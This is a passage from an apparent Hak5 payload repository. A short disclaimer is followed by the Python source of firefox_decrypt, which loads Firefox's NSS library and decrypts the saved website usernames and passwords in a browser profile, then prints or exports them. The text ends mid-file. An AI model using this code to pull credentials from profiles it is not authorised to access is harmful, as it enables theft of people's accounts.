Generally, payloads may execute commands on your device. As such, it is possible for a payload to damage your device. Payloads from this repository are provided AS-IS without warranty. While Hak5 makes a best effort to review payloads, there are no guarantees as to their effectiveness.

385 | -------------------------------------------------------------------------------- /decrypt/firefox/firefox_decrypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # This program is free software: you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | # the Free Software Foundation, either version 3 of the License, or 7 | # (at your option) any later version. 8 | 9 | # This program is distributed in the hope that it will be useful, 10 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | # GNU General Public License for more details. 13 | 14 | # You should have received a copy of the GNU General Public License 15 | # along with this program. If not, see . 16 | 17 | # Based on original work from: www.dumpzilla.org 18 | 19 | from __future__ import annotations 20 | 21 | import argparse 22 | import csv 23 | import ctypes as ct 24 | import json 25 | import logging 26 | import locale 27 | import os 28 | import platform 29 | import sqlite3 30 | import sys 31 | import shutil 32 | from base64 import b64decode 33 | from getpass import getpass 34 | from itertools import chain 35 | from subprocess import run, PIPE, DEVNULL 36 | from urllib.parse import urlparse 37 | from configparser import ConfigParser 38 | from typing import Optional, Iterator, Any 39 | 40 | LOG: logging.Logger 41 | VERBOSE = False 42 | SYSTEM = platform.system() 43 | SYS64 = sys.maxsize > 2**32 44 | DEFAULT_ENCODING = "utf-8" 45 | 46 | PWStore = list[dict[str, str]] 47 | 48 | # NOTE: In 1.0.0-rc1 we tried to use locale information to encode/decode 49 | # content passed to NSS. This was an attempt to address the encoding issues 50 | # affecting Windows. However after additional testing Python now also defaults 51 | # to UTF-8 for encoding. 52 | # Some of the limitations of Windows have to do with poor support for UTF-8 53 | # characters in cmd.exe. Terminal - https://github.com/microsoft/terminal or 54 | # a Bash shell such as Git Bash - https://git-scm.com/downloads are known to 55 | # provide a better user experience and are therefore recommended 56 | 57 | 58 | def get_version() -> str: 59 | """Obtain version information from git if available otherwise use 60 | the internal version number 61 | """ 62 | 63 | def internal_version(): 64 | return ".".join(map(str, __version_info__[:3])) + "".join(__version_info__[3:]) 65 | 66 | try: 67 | p = run(["git", "describe", "--tags"], stdout=PIPE, stderr=DEVNULL, text=True) 68 | except FileNotFoundError: 69 | return internal_version() 70 | 71 | if p.returncode: 72 | return internal_version() 73 | else: 74 | return p.stdout.strip() 75 | 76 | 77 | __version_info__ = (1, 1, 0, "+git") 78 | __version__: str = get_version() 79 | 80 | 81 | class NotFoundError(Exception): 82 | """Exception to handle situations where a credentials file is not found""" 83 | 84 | pass 85 | 86 | 87 | class Exit(Exception): 88 | """Exception to allow a clean exit from any point in execution""" 89 | 90 | CLEAN = 0 91 | ERROR = 1 92 | MISSING_PROFILEINI = 2 93 | MISSING_SECRETS = 3 94 | BAD_PROFILEINI = 4 95 | LOCATION_NO_DIRECTORY = 5 96 | BAD_SECRETS = 6 97 | BAD_LOCALE = 7 98 | 99 | FAIL_LOCATE_NSS = 10 100 | FAIL_LOAD_NSS = 11 101 | FAIL_INIT_NSS = 12 102 | FAIL_NSS_KEYSLOT = 13 103 | FAIL_SHUTDOWN_NSS = 14 104 | BAD_PRIMARY_PASSWORD = 15 105 | NEED_PRIMARY_PASSWORD = 16 106 | DECRYPTION_FAILED = 17 107 | 108 | PASSSTORE_NOT_INIT = 20 109 | PASSSTORE_MISSING = 21 110 | PASSSTORE_ERROR = 22 111 | 112 | READ_GOT_EOF = 30 113 | MISSING_CHOICE = 31 114 | NO_SUCH_PROFILE = 32 115 | 116 | UNKNOWN_ERROR = 100 117 | KEYBOARD_INTERRUPT = 102 118 | 119 | def __init__(self, exitcode): 120 | self.exitcode = exitcode 121 | 122 | def __unicode__(self): 123 | return f"Premature program exit with exit code {self.exitcode}" 124 | 125 | 126 | class Credentials: 127 | """Base credentials backend manager""" 128 | 129 | def __init__(self, db): 130 | self.db = db 131 | 132 | LOG.debug("Database location: %s", self.db) 133 | if not os.path.isfile(db): 134 | raise NotFoundError(f"ERROR - {db} database not found\n") 135 | 136 | LOG.info("Using %s for credentials.", db) 137 | 138 | def __iter__(self) -> Iterator[tuple[str, str, str, int]]: 139 | pass 140 | 141 | def done(self): 142 | """Override this method if the credentials subclass needs to do any 143 | action after interaction 144 | """ 145 | pass 146 | 147 | 148 | class SqliteCredentials(Credentials): 149 | """SQLite credentials backend manager""" 150 | 151 | def __init__(self, profile): 152 | db = os.path.join(profile, "signons.sqlite") 153 | 154 | super(SqliteCredentials, self).__init__(db) 155 | 156 | self.conn = sqlite3.connect(db) 157 | self.c = self.conn.cursor() 158 | 159 | def __iter__(self) -> Iterator[tuple[str, str, str, int]]: 160 | LOG.debug("Reading password database in SQLite format") 161 | self.c.execute( 162 | "SELECT hostname, encryptedUsername, encryptedPassword, encType " 163 | "FROM moz_logins" 164 | ) 165 | for i in self.c: 166 | # yields hostname, encryptedUsername, encryptedPassword, encType 167 | yield i 168 | 169 | def done(self): 170 | """Close the sqlite cursor and database connection""" 171 | super(SqliteCredentials, self).done() 172 | 173 | self.c.close() 174 | self.conn.close() 175 | 176 | 177 | class JsonCredentials(Credentials): 178 | """JSON credentials backend manager""" 179 | 180 | def __init__(self, profile): 181 | db = os.path.join(profile, "logins.json") 182 | 183 | super(JsonCredentials, self).__init__(db) 184 | 185 | def __iter__(self) -> Iterator[tuple[str, str, str, int]]: 186 | with open(self.db) as fh: 187 | LOG.debug("Reading password database in JSON format") 188 | data = json.load(fh) 189 | 190 | try: 191 | logins = data["logins"] 192 | except Exception: 193 | LOG.error(f"Unrecognized format in {self.db}") 194 | raise Exit(Exit.BAD_SECRETS) 195 | 196 | for i in logins: 197 | yield ( 198 | i["hostname"], 199 | i["encryptedUsername"], 200 | i["encryptedPassword"], 201 | i["encType"], 202 | ) 203 | 204 | 205 | def find_nss(locations, nssname) -> ct.CDLL: 206 | """Locate nss is one of the many possible locations""" 207 | fail_errors: list[tuple[str, str]] = [] 208 | 209 | OS = ("Windows", "Darwin") 210 | 211 | for loc in locations: 212 | nsslib = os.path.join(loc, nssname) 213 | LOG.debug("Loading NSS library from %s", nsslib) 214 | 215 | if SYSTEM in OS: 216 | # On windows in order to find DLLs referenced by nss3.dll 217 | # we need to have those locations on PATH 218 | os.environ["PATH"] = ";".join([loc, os.environ["PATH"]]) 219 | LOG.debug("PATH is now %s", os.environ["PATH"]) 220 | # However this doesn't seem to work on all setups and needs to be 221 | # set before starting python so as a workaround we chdir to 222 | # Firefox's nss3.dll/libnss3.dylib location 223 | if loc: 224 | if not os.path.isdir(loc): 225 | # No point in trying to load from paths that don't exist 226 | continue 227 | 228 | workdir = os.getcwd() 229 | os.chdir(loc) 230 | 231 | try: 232 | nss: ct.CDLL = ct.CDLL(nsslib) 233 | except OSError as e: 234 | fail_errors.append((nsslib, str(e))) 235 | else: 236 | LOG.debug("Loaded NSS library from %s", nsslib) 237 | return nss 238 | finally: 239 | if SYSTEM in OS and loc: 240 | # Restore workdir changed above 241 | os.chdir(workdir) 242 | 243 | else: 244 | LOG.error( 245 | "Couldn't find or load '%s'. This library is essential " 246 | "to interact with your Mozilla profile.", 247 | nssname, 248 | ) 249 | LOG.error( 250 | "If you are seeing this error please perform a system-wide " 251 | "search for '%s' and file a bug report indicating any " 252 | "location found. Thanks!", 253 | nssname, 254 | ) 255 | LOG.error( 256 | "Alternatively you can try launching firefox_decrypt " 257 | "from the location where you found '%s'. " 258 | "That is 'cd' or 'chdir' to that location and run " 259 | "firefox_decrypt from there.", 260 | nssname, 261 | ) 262 | 263 | LOG.error( 264 | "Please also include the following on any bug report. " 265 | "Errors seen while searching/loading NSS:" 266 | ) 267 | 268 | for target, error in fail_errors: 269 | LOG.error("Error when loading %s was %s", target, error) 270 | 271 | raise Exit(Exit.FAIL_LOCATE_NSS) 272 | 273 | 274 | def load_libnss(): 275 | """Load libnss into python using the CDLL interface""" 276 | if SYSTEM == "Windows": 277 | nssname = "nss3.dll" 278 | locations: list[str] = [ 279 | "", # Current directory or system lib finder 280 | os.path.expanduser("~\\AppData\\Local\\Mozilla Firefox"), 281 | os.path.expanduser("~\\AppData\\Local\\Firefox Developer Edition"), 282 | os.path.expanduser("~\\AppData\\Local\\Mozilla Thunderbird"), 283 | os.path.expanduser("~\\AppData\\Local\\Nightly"), 284 | os.path.expanduser("~\\AppData\\Local\\SeaMonkey"), 285 | os.path.expanduser("~\\AppData\\Local\\Waterfox"), 286 | "C:\\Program Files\\Mozilla Firefox", 287 | "C:\\Program Files\\Firefox Developer Edition", 288 | "C:\\Program Files\\Mozilla Thunderbird", 289 | "C:\\Program Files\\Nightly", 290 | "C:\\Program Files\\SeaMonkey", 291 | "C:\\Program Files\\Waterfox", 292 | ] 293 | if not SYS64: 294 | locations = [ 295 | "", # Current directory or system lib finder 296 | "C:\\Program Files (x86)\\Mozilla Firefox", 297 | "C:\\Program Files (x86)\\Firefox Developer Edition", 298 | "C:\\Program Files (x86)\\Mozilla Thunderbird", 299 | "C:\\Program Files (x86)\\Nightly", 300 | "C:\\Program Files (x86)\\SeaMonkey", 301 | "C:\\Program Files (x86)\\Waterfox", 302 | ] + locations 303 | 304 | # If either of the supported software is in PATH try to use it 305 | software = ["firefox", "thunderbird", "waterfox", "seamonkey"] 306 | for binary in software: 307 | location: Optional[str] = shutil.which(binary) 308 | if location is not None: 309 | nsslocation: str = os.path.join(os.path.dirname(location), nssname) 310 | locations.append(nsslocation) 311 | 312 | elif SYSTEM == "Darwin": 313 | nssname = "libnss3.dylib" 314 | locations = ( 315 | "", # Current directory or system lib finder 316 | "/usr/local/lib/nss", 317 | "/usr/local/lib", 318 | "/opt/local/lib/nss", 319 | "/sw/lib/firefox", 320 | "/sw/lib/mozilla", 321 | "/usr/local/opt/nss/lib", # nss installed with Brew on Darwin 322 | "/opt/pkg/lib/nss", # installed via pkgsrc 323 | "/Applications/Firefox.app/Contents/MacOS", # default manual install location 324 | "/Applications/Thunderbird.app/Contents/MacOS", 325 | "/Applications/SeaMonkey.app/Contents/MacOS", 326 | "/Applications/Waterfox.app/Contents/MacOS", 327 | ) 328 | 329 | else: 330 | nssname = "libnss3.so" 331 | if SYS64: 332 | locations = ( 333 | "", # Current directory or system lib finder 334 | "/usr/lib64", 335 | "/usr/lib64/nss", 336 | "/usr/lib", 337 | "/usr/lib/nss", 338 | "/usr/local/lib", 339 | "/usr/local/lib/nss", 340 | "/opt/local/lib", 341 | "/opt/local/lib/nss", 342 | os.path.expanduser("~/.nix-profile/lib"), 343 | ) 344 | else: 345 | locations = ( 346 | "", # Current directory or system lib finder 347 | "/usr/lib", 348 | "/usr/lib/nss", 349 | "/usr/lib32", 350 | "/usr/lib32/nss", 351 | "/usr/lib64", 352 | "/usr/lib64/nss", 353 | "/usr/local/lib", 354 | "/usr/local/lib/nss", 355 | "/opt/local/lib", 356 | "/opt/local/lib/nss", 357 | os.path.expanduser("~/.nix-profile/lib"), 358 | ) 359 | 360 | # If this succeeds libnss was loaded 361 | return find_nss(locations, nssname) 362 | 363 | 364 | class c_char_p_fromstr(ct.c_char_p): 365 | """ctypes char_p override that handles encoding str to bytes""" 366 | 367 | def from_param(self): 368 | return self.encode(DEFAULT_ENCODING) 369 | 370 | 371 | class NSSProxy: 372 | class SECItem(ct.Structure): 373 | """struct needed to interact with libnss""" 374 | 375 | _fields_ = [ 376 | ("type", ct.c_uint), 377 | ("data", ct.c_char_p), # actually: unsigned char * 378 | ("len", ct.c_uint), 379 | ] 380 | 381 | def decode_data(self): 382 | _bytes = ct.string_at(self.data, self.len) 383 | return _bytes.decode(DEFAULT_ENCODING) 384 | 385 | class PK11SlotInfo(ct.Structure): 386 | """Opaque structure representing a logical PKCS slot""" 387 | 388 | def __init__(self, non_fatal_decryption=False): 389 | # Locate libnss and try loading it 390 | self.libnss = load_libnss() 391 | self.non_fatal_decryption = non_fatal_decryption 392 | 393 | SlotInfoPtr = ct.POINTER(self.PK11SlotInfo) 394 | SECItemPtr = ct.POINTER(self.SECItem) 395 | 396 | self._set_ctypes(ct.c_int, "NSS_Init", c_char_p_fromstr) 397 | self._set_ctypes(ct.c_int, "NSS_Shutdown") 398 | self._set_ctypes(SlotInfoPtr, "PK11_GetInternalKeySlot") 399 | self._set_ctypes(None, "PK11_FreeSlot", SlotInfoPtr) 400 | self._set_ctypes(ct.c_int, "PK11_NeedLogin", SlotInfoPtr) 401 | self._set_ctypes( 402 | ct.c_int, "PK11_CheckUserPassword", SlotInfoPtr, c_char_p_fromstr 403 | ) 404 | self._set_ctypes( 405 | ct.c_int, "PK11SDR_Decrypt", SECItemPtr, SECItemPtr, ct.c_void_p 406 | ) 407 | self._set_ctypes(None, "SECITEM_ZfreeItem", SECItemPtr, ct.c_int) 408 | 409 | # for error handling 410 | self._set_ctypes(ct.c_int, "PORT_GetError") 411 | self._set_ctypes(ct.c_char_p, "PR_ErrorToName", ct.c_int) 412 | self._set_ctypes(ct.c_char_p, "PR_ErrorToString", ct.c_int, ct.c_uint32) 413 | 414 | def _set_ctypes(self, restype, name, *argtypes): 415 | """Set input/output types on libnss C functions for automatic type casting""" 416 | res = getattr(self.libnss, name) 417 | res.argtypes = argtypes 418 | res.restype = restype 419 | 420 | # Transparently handle decoding to string when returning a c_char_p 421 | if restype == ct.c_char_p: 422 | 423 | def _decode(result, func, *args): 424 | try: 425 | return result.decode(DEFAULT_ENCODING) 426 | except AttributeError: 427 | return result 428 | 429 | res.errcheck = _decode 430 | 431 | setattr(self, "_" + name, res) 432 | 433 | def initialize(self, profile: str): 434 | # The sql: prefix ensures compatibility with both 435 | # Berkley DB (cert8) and Sqlite (cert9) dbs 436 | profile_path = "sql:" + profile 437 | LOG.debug("Initializing NSS with profile '%s'", profile_path) 438 | err_status: int = self._NSS_Init(profile_path) 439 | LOG.debug("Initializing NSS returned %s", err_status) 440 | 441 | if err_status: 442 | self.handle_error( 443 | Exit.FAIL_INIT_NSS, 444 | "Couldn't initialize NSS, maybe '%s' is not a valid profile?", 445 | profile, 446 | ) 447 | 448 | def shutdown(self): 449 | err_status: int = self._NSS_Shutdown() 450 | 451 | if err_status: 452 | self.handle_error( 453 | Exit.FAIL_SHUTDOWN_NSS, 454 | "Couldn't shutdown current NSS profile", 455 | ) 456 | 457 | def authenticate(self, profile, interactive): 458 | """Unlocks the profile if necessary, in which case a password 459 | will prompted to the user. 460 | """ 461 | LOG.debug("Retrieving internal key slot") 462 | keyslot = self._PK11_GetInternalKeySlot() 463 | 464 | LOG.debug("Internal key slot %s", keyslot) 465 | if not keyslot: 466 | self.handle_error( 467 | Exit.FAIL_NSS_KEYSLOT, 468 | "Failed to retrieve internal KeySlot", 469 | ) 470 | 471 | try: 472 | if self._PK11_NeedLogin(keyslot): 473 | password: str = ask_password(profile, interactive) 474 | 475 | LOG.debug("Authenticating with password '%s'", password) 476 | err_status: int = self._PK11_CheckUserPassword(keyslot, password) 477 | 478 | LOG.debug("Checking user password returned %s", err_status) 479 | 480 | if err_status: 481 | self.handle_error( 482 | Exit.BAD_PRIMARY_PASSWORD, 483 | "Primary password is not correct", 484 | ) 485 | 486 | else: 487 | LOG.info("No Primary Password found - no authentication needed") 488 | finally: 489 | # Avoid leaking PK11KeySlot 490 | self._PK11_FreeSlot(keyslot) 491 | 492 | def handle_error(self, exitcode: int, *logerror: Any): 493 | """If an error happens in libnss, handle it and print some debug information""" 494 | if logerror: 495 | LOG.error(*logerror) 496 | else: 497 | LOG.debug("Error during a call to NSS library, trying to obtain error info") 498 | 499 | code = self._PORT_GetError() 500 | name = self._PR_ErrorToName(code) 501 | name = "NULL" if name is None else name 502 | # 0 is the default language (localization related) 503 | text = self._PR_ErrorToString(code, 0) 504 | 505 | LOG.debug("%s: %s", name, text) 506 | 507 | raise Exit(exitcode) 508 | 509 | def decrypt(self, data64): 510 | data = b64decode(data64) 511 | inp = self.SECItem(0, data, len(data)) 512 | out = self.SECItem(0, None, 0) 513 | 514 | err_status: int = self._PK11SDR_Decrypt(inp, out, None) 515 | LOG.debug("Decryption of data returned %s", err_status) 516 | try: 517 | if err_status: # -1 means password failed, other status are unknown 518 | error_msg = ( 519 | "Username/Password decryption failed. " 520 | "Credentials damaged or cert/key file mismatch." 521 | ) 522 | 523 | if self.non_fatal_decryption: 524 | raise ValueError(error_msg) 525 | else: 526 | self.handle_error(Exit.DECRYPTION_FAILED, error_msg) 527 | 528 | res = out.decode_data() 529 | finally: 530 | # Avoid leaking SECItem 531 | self._SECITEM_ZfreeItem(out, 0) 532 | 533 | return res 534 | 535 | 536 | class MozillaInteraction: 537 | """ 538 | Abstraction interface to Mozilla profile and lib NSS 539 | """ 540 | 541 | def __init__(self, non_fatal_decryption=False): 542 | self.profile = None 543 | self.proxy = NSSProxy(non_fatal_decryption) 544 | 545 | def load_profile(self, profile): 546 | """Initialize the NSS library and profile""" 547 | self.profile = profile 548 | self.proxy.initialize(self.profile) 549 | 550 | def authenticate(self, interactive): 551 | """Authenticate the the current profile is protected by a primary password, 552 | prompt the user and unlock the profile. 553 | """ 554 | self.proxy.authenticate(self.profile, interactive) 555 | 556 | def unload_profile(self): 557 | """Shutdown NSS and deactivate current profile""" 558 | self.proxy.shutdown() 559 | 560 | def decrypt_passwords(self) -> PWStore: 561 | """Decrypt requested profile using the provided password. 562 | Returns all passwords in a list of dicts 563 | """ 564 | credentials: Credentials = self.obtain_credentials() 565 | 566 | LOG.info("Decrypting credentials") 567 | outputs: PWStore = [] 568 | 569 | url: str 570 | user: str 571 | passw: str 572 | enctype: int 573 | for url, user, passw, enctype in credentials: 574 | # enctype informs if passwords need to be decrypted 575 | if enctype: 576 | try: 577 | LOG.debug("Decrypting username data '%s'", user) 578 | user = self.proxy.decrypt(user) 579 | LOG.debug("Decrypting password data '%s'", passw) 580 | passw = self.proxy.decrypt(passw) 581 | except (TypeError, ValueError) as e: 582 | LOG.warning( 583 | "Failed to decode username or password for entry from URL %s", 584 | url, 585 | ) 586 | LOG.debug(e, exc_info=True) 587 | user = "*** decryption failed ***" 588 | passw = "*** decryption failed ***" 589 | 590 | LOG.debug( 591 | "Decoded username '%s' and password '%s' for website '%s'", 592 | user, 593 | passw, 594 | url, 595 | ) 596 | 597 | output = {"url": url, "user": user, "password": passw} 598 | outputs.append(output) 599 | 600 | if not outputs: 601 | LOG.warning("No passwords found in selected profile") 602 | 603 | # Close credential handles (SQL) 604 | credentials.done() 605 | 606 | return outputs 607 | 608 | def obtain_credentials(self) -> Credentials: 609 | """Figure out which of the 2 possible backend credential engines is available""" 610 | credentials: Credentials 611 | try: 612 | credentials = JsonCredentials(self.profile) 613 | except NotFoundError: 614 | try: 615 | credentials = SqliteCredentials(self.profile) 616 | except NotFoundError: 617 | LOG.error( 618 | "Couldn't find credentials file (logins.json or signons.sqlite)." 619 | ) 620 | raise Exit(Exit.MISSING_SECRETS) 621 | 622 | return credentials 623 | 624 | 625 | class OutputFormat: 626 | def __init__(self, pwstore: PWStore, cmdargs: argparse.Namespace): 627 | self.pwstore = pwstore 628 | self.cmdargs = cmdargs 629 | 630 | def output(self): 631 | pass 632 | 633 | 634 | class HumanOutputFormat(OutputFormat): 635 | def output(self): 636 | for output in self.pwstore: 637 | record: str = ( 638 | f"\nWebsite: {output['url']}\n" 639 | f"Username: '{output['user']}'\n" 640 | f"Password: '{output['password']}'\n" 641 | ) 642 | sys.stdout.write(record) 643 | 644 | 645 | class JSONOutputFormat(OutputFormat): 646 | def output(self): 647 | sys.stdout.write(json.dumps(self.pwstore, indent=2)) 648 | # Json dumps doesn't add the final newline 649 | sys.stdout.write("\n") 650 | 651 | 652 | class CSVOutputFormat(OutputFormat): 653 | def __init__(self, pwstore: PWStore, cmdargs: argparse.Namespace): 654 | super().__init__(pwstore, cmdargs) 655 | self.delimiter = cmdargs.csv_delimiter 656 | self.quotechar = cmdargs.csv_quotechar 657 | self.header = cmdargs.csv_header 658 | 659 | def output(self): 660 | csv_writer = csv.DictWriter( 661 | sys.stdout, 662 | fieldnames=["url", "user", "password"], 663 | lineterminator="\n", 664 | delimiter=self.delimiter, 665 | quotechar=self.quotechar, 666 | quoting=csv.QUOTE_ALL, 667 | ) 668 | if self.header: 669 | csv_writer.writeheader() 670 | 671 | for output in self.pwstore: 672 | csv_writer.writerow(output) 673 | 674 | 675 | class TabularOutputFormat(CSVOutputFormat): 676 | def __init__(self, pwstore: PWStore, cmdargs: argparse.Namespace): 677 | super().__init__(pwstore, cmdargs) 678 | self.delimiter = "\t" 679 | self.quotechar = "'" 680 | 681 | 682 | class PassOutputFormat(OutputFormat): 683 | def __init__(self, pwstore: PWStore, cmdargs: argparse.Namespace): 684 | super().__init__(pwstore, cmdargs) 685 | self.prefix = cmdargs.pass_prefix 686 | self.cmd = cmdargs.pass_cmd 687 | self.username_prefix = cmdargs.pass_username_prefix 688 | self.always_with_login = cmdargs.pass_always_with_login 689 | 690 | def output(self): 691 | self.test_pass_cmd() 692 | self.preprocess_outputs() 693 | self.export() 694 | 695 | def test_pass_cmd(self) -> None: 696 | """Check if pass from passwordstore.org is installed 697 | If it is installed but not initialized, initialize it 698 | """ 699 | LOG.debug("Testing if password store is installed and configured") 700 | 701 | try: 702 | p = run([self.cmd, "ls"], capture_output=True, text=True) 703 | except FileNotFoundError as e: 704 | if e.errno == 2: 705 | LOG.error("Password store is not installed and exporting was requested") 706 | raise Exit(Exit.PASSSTORE_MISSING) 707 | else: 708 | LOG.error("Unknown error happened.") 709 | LOG.error("Error was '%s'", e) 710 | raise Exit(Exit.UNKNOWN_ERROR) 711 | 712 | LOG.debug("pass returned:\nStdout: %s\nStderr: %s", p.stdout, p.stderr) 713 | 714 | if p.returncode != 0: 715 | if 'Try "pass init"' in p.stderr: 716 | LOG.error("Password store was not initialized.") 717 | LOG.error("Initialize the password store manually by using 'pass init'") 718 | raise Exit(Exit.PASSSTORE_NOT_INIT) 719 | else: 720 | LOG.error("Unknown error happened when running 'pass'.") 721 | LOG.error("Stdout: %s\nStderr: %s", p.stdout, p.stderr) 722 | raise Exit(Exit.UNKNOWN_ERROR) 723 | 724 | def preprocess_outputs(self): 725 | # Format of "self.to_export" should be: 726 | # {"address": {"login": "password", ...}, ...} 727 | self.to_export: dict[str, dict[str, str]] = {} 728 | 729 | for record in self.pwstore: 730 | url = record["url"] 731 | user = record["user"] 732 | passw = record["password"] 733 | 734 | # Keep track of web-address, username and passwords 735 | # If more than one username exists for the same web-address 736 | # the username will be used as name of the file 737 | address = urlparse(url) 738 | 739 | if address.netloc not in self.to_export: 740 | self.to_export[address.netloc] = {user: passw} 741 | 742 | else: 743 | self.to_export[address.netloc][user] = passw 744 | 745 | def export(self): 746 | """Export given passwords to password store 747 | 748 | Format of "to_export" should be: 749 | {"address": {"login": "password", ...}, ...} 750 | """ 751 | LOG.info("Exporting credentials to password store") 752 | if self.prefix: 753 | prefix = f"{self.prefix}/" 754 | else: 755 | prefix = self.prefix 756 | 757 | LOG.debug("Using pass prefix '%s'", prefix) 758 | 759 | for address in self.to_export: 760 | for user, passw in self.to_export[address].items(): 761 | # When more than one account exist for the same address, add 762 | # the login to the password identifier 763 | if self.always_with_login or len(self.to_export[address]) > 1: 764 | passname = f"{prefix}{address}/{user}" 765 | else: 766 | passname = f"{prefix}{address}" 767 | 768 | LOG.info("Exporting credentials for '%s'", passname) 769 | 770 | data = f"{passw}\n{self.username_prefix}{user}\n" 771 | 772 | LOG.debug("Inserting pass '%s' '%s'", passname, data) 773 | 774 | # NOTE --force is used. Existing passwords will be overwritten 775 | cmd: list[str] = [ 776 | self.cmd, 777 | "insert", 778 | "--force", 779 | "--multiline", 780 | passname, 781 | ] 782 | 783 | LOG.debug("Running command '%s' with stdin '%s'", cmd, data) 784 | 785 | p = run(cmd, input=data, capture_output=True, text=True) 786 | 787 | if p.returncode != 0: 788 | LOG.error( 789 | "ERROR: passwordstore exited with non-zero: %s", p.returncode 790 | ) 791 | LOG.error("Stdout: %s\nStderr: %s", p.stdout, p.stderr) 792 | raise Exit(Exit.PASSSTORE_ERROR) 793 | 794 | LOG.debug("Successfully exported '%s'", passname) 795 | 796 | 797 | def get_sections(profiles): 798 | """ 799 | Returns hash of profile numbers and profile names. 800 | """ 801 | sections = {} 802 | i = 1 803 | for section in profiles.sections(): 804 | if section.startswith("Profile"): 805 | sections[str(i)] = profiles.get(section, "Path") 806 | i += 1 807 | else: 808 | continue 809 | return sections 810 | 811 | 812 | def print_sections(sections, textIOWrapper=sys.stderr): 813 | """ 814 | Prints all available sections to an textIOWrapper (defaults to sys.stderr) 815 | """ 816 | for i in sorted(sections): 817 | textIOWrapper.write(f"{i} -> {sections[i]}\n") 818 | textIOWrapper.flush() 819 | 820 | 821 | def ask_section(sections: ConfigParser): 822 | """ 823 | Prompt the user which profile should be used for decryption 824 | """ 825 | # Do not ask for choice if user already gave one 826 | choice = "ASK" 827 | while choice not in sections: 828 | sys.stderr.write("Select the Mozilla profile you wish to decrypt\n") 829 | print_sections(sections) 830 | try: 831 | choice = input() 832 | except EOFError: 833 | LOG.error("Could not read Choice, got EOF") 834 | raise Exit(Exit.READ_GOT_EOF) 835 | 836 | try: 837 | final_choice = sections[choice] 838 | except KeyError: 839 | LOG.error("Profile No. %s does not exist!", choice) 840 | raise Exit(Exit.NO_SUCH_PROFILE) 841 | 842 | LOG.debug("Profile selection matched %s", final_choice) 843 | 844 | return final_choice 845 | 846 | 847 | def ask_password(profile: str, interactive: bool) -> str: 848 | """ 849 | Prompt for profile password 850 | """ 851 | passwd: str 852 | passmsg = f"\nPrimary Password for profile {profile}: " 853 | 854 | if sys.stdin.isatty() and interactive: 855 | passwd = getpass(passmsg) 856 | else: 857 | sys.stderr.write("Reading Primary password from standard input:\n") 858 | sys.stderr.flush() 859 | # Ability to read the password from stdin (echo "pass" | ./firefox_...) 860 | passwd = sys.stdin.readline().rstrip("\n") 861 | 862 | return passwd 863 | 864 | 865 | def read_profiles(basepath): 866 | """ 867 | Parse Firefox profiles in provided location. 868 | If list_profiles is true, will exit after listing available profiles. 869 | """ 870 | profileini = os.path.join(basepath, "profiles.ini") 871 | 872 | LOG.debug("Reading profiles from %s", profileini) 873 | 874 | if not os.path.isfile(profileini): 875 | LOG.warning("profile.ini not found in %s", basepath) 876 | raise Exit(Exit.MISSING_PROFILEINI) 877 | 878 | # Read profiles from Firefox profile folder 879 | profiles = ConfigParser() 880 | profiles.read(profileini, encoding=DEFAULT_ENCODING) 881 | 882 | LOG.debug("Read profiles %s", profiles.sections()) 883 | 884 | return profiles 885 | 886 | 887 | def get_profile( 888 | basepath: str, interactive: bool, choice: Optional[str], list_profiles: bool 889 | ): 890 | """ 891 | Select profile to use by either reading profiles.ini or assuming given 892 | path is already a profile 893 | If interactive is false, will not try to ask which profile to decrypt. 894 | choice contains the choice the user gave us as an CLI arg. 895 | If list_profiles is true will exits after listing all available profiles. 896 | """ 897 | try: 898 | profiles: ConfigParser = read_profiles(basepath) 899 | 900 | except Exit as e: 901 | if e.exitcode == Exit.MISSING_PROFILEINI: 902 | LOG.warning("Continuing and assuming '%s' is a profile location", basepath) 903 | profile = basepath 904 | 905 | if list_profiles: 906 | LOG.error("Listing single profiles not permitted.") 907 | raise 908 | 909 | if not os.path.isdir(profile): 910 | LOG.error("Profile location '%s' is not a directory", profile) 911 | raise 912 | else: 913 | raise 914 | else: 915 | if list_profiles: 916 | LOG.debug("Listing available profiles...") 917 | print_sections(get_sections(profiles), sys.stdout) 918 | raise Exit(Exit.CLEAN) 919 | 920 | sections = get_sections(profiles) 921 | 922 | if len(sections) == 1: 923 | section = sections["1"] 924 | 925 | elif choice is not None: 926 | try: 927 | section = sections[choice] 928 | except KeyError: 929 | LOG.error("Profile No. %s does not exist!", choice) 930 | raise Exit(Exit.NO_SUCH_PROFILE) 931 | 932 | elif not interactive: 933 | LOG.error( 934 | "Don't know which profile to decrypt. " 935 | "We are in non-interactive mode and -c/--choice wasn't specified." 936 | ) 937 | raise Exit(Exit.MISSING_CHOICE) 938 | 939 | else: 940 | # Ask user which profile to open 941 | section = ask_section(sections) 942 | 943 | section = section 944 | profile = os.path.join(basepath, section) 945 | 946 | if not os.path.isdir(profile): 947 | LOG.error( 948 | "Profile location '%s' is not a directory. Has profiles.ini been tampered with?", 949 | profile, 950 | ) 951 | raise Exit(Exit.BAD_PROFILEINI) 952 | 953 | return profile 954 | 955 | 956 | # From https://bugs.python.org/msg323681 957 | class ConvertChoices(argparse.Action): 958 | """Argparse action that interprets the `choices` argument as a dict 959 | mapping the user-specified choices values to the resulting option 960 | values. 961 | """ 962 | 963 | def __init__(self, *args, choices, **kwargs): 964 | super().__init__(*args, choices=choices.keys(), **kwargs) 965 | self.mapping = choices 966 | 967 | def __call__(self, parser, namespace, value, option_string=None): 968 | setattr(namespace, self.dest, self.mapping[value]) 969 | 970 | 971 | def parse_sys_args() -> argparse.Namespace: 972 | """Parse command line arguments""" 973 | 974 | if SYSTEM == "Windows": 975 | profile_path = os.path.join(os.environ["APPDATA"], "Mozilla", "Firefox") 976 | elif os.uname()[0] == "Darwin": 977 | profile_path = "~/Library/Application Support/Firefox" 978 | else: 979 | profile_path = "~/.mozilla/firefox" 980 | 981 | parser = argparse.ArgumentParser( 982 | description="Access Firefox/Thunderbird profiles and decrypt existing passwords" 983 | ) 984 | parser.add_argument( 985 | "profile", 986 | nargs="?", 987 | default=profile_path, 988 | help=f"Path to profile folder (default: {profile_path})", 989 | ) 990 | 991 | format_choices = { 992 | "human": HumanOutputFormat, 993 | "json": JSONOutputFormat, 994 | "csv": CSVOutputFormat, 995 | "tabular": TabularOutputFormat, 996 | "pass": PassOutputFormat, 997 | } 998 | 999 | parser.add_argument( 1000 | "-f", 